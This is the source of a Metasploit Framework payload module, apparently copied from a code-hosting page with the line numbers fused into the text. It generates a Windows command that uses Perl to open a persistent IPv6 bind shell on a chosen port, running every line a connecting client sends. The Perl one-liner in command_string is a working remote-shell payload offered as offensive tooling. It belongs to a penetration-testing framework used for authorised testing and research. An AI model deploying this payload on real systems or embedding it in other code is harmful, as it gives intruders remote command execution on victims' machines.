Path: blob/master/modules/payloads/singles/cmd/windows/bind_perl_ipv6.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 14078include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Windows Command Shell, Bind TCP (via perl) IPv6',16'Description' => 'Listen for a connection and spawn a command shell via perl (persistent)',17'Author' => ['Samy <samy[at]samy.pl>', 'cazz', 'aushack'],18'License' => BSD_LICENSE,19'Platform' => 'win',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::BindTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'perl',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31register_advanced_options(32[33OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])34]35)36end3738#39# Constructs the payload40#41def generate(_opts = {})42return super + command_string43end4445#46# Returns the command string to use for execution47#48def command_string49cmd = "#{datastore['PerlPath']} -MIO -e \"while($c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept){$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>}\""5051return cmd52end53end545556